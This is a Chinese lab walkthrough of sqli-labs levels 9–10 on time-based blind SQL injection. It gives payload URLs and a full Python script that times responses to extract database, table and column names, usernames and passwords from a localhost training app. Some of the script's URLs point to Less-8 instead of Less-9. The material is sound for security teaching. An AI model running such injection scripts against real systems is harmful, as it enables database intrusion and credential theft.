刚开始进入这一关时对这一关进行了常规的注入过程，并未发现有可以利用的地方，然后怎么办呢？去作弊嘛，看了看标题，第九关叫"time based-single quotes"基于时间—单引号，于是乎，就去试了试时间盲注，使用单引号闭合，请求如下：

http://localhost:90/sqli-labs-master/Less-9/?id=1' and (select sleep(3))--+

然后发现这个请求延时了3S

进行到这里，就有了一套完整的思路，时间盲注和之前的布尔盲注思路差不多，布尔盲注靠UI界面的变化判断真假，延时盲注靠请求的延时发出判断真假，先手工注入一个：

http://localhost:90/sqli-labs-master/Less-8/?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(2),1)--+

可以看到，请求被延时了2S，可行
这里使用的if(expr1,expr2,expr3)，expr1为真则执行2，为假则执行3，加上sleep方法即可让我们判断条件的真假，requests库中elapsed方法可返回响应时间，使用elapsed.total_seconds()得到响应时间单位为S，知道这些就可以写个简单的脚本自动注入，代码如下：

import requests


# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://localhost:90/sqli-labs-master/Less-9/?id=1' and if(length(database())>{i},1,sleep(2))"
        r = requests.get(url + '%23')
        if r.elapsed.total_seconds()>2:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                  "and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, i)
            #print(url+'%23')
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
     print('database_name:', name)


# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                  "and if(substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('table_name:', name)



# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                  "and if(substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('column_name:', name)



# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                  "and if(substr((select group_concat(username) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('username_value:', name)



# 获取password
def password_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                  "and if(substr((select group_concat(password) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('password_value:', name)


if __name__ == '__main__':
    dblen = database_len()
    database_name(dblen)
    tables_name()
    columns_name()
    username_value()
    password_value()

运行结果如下：

第十关也可以使用延时盲注，区别与第九关的是采用双引号闭合，然后还有一个要注意到的是第十关使用上面脚本时要注意将字符串的双引号变成三引号，不然闭合的双引号会混入其中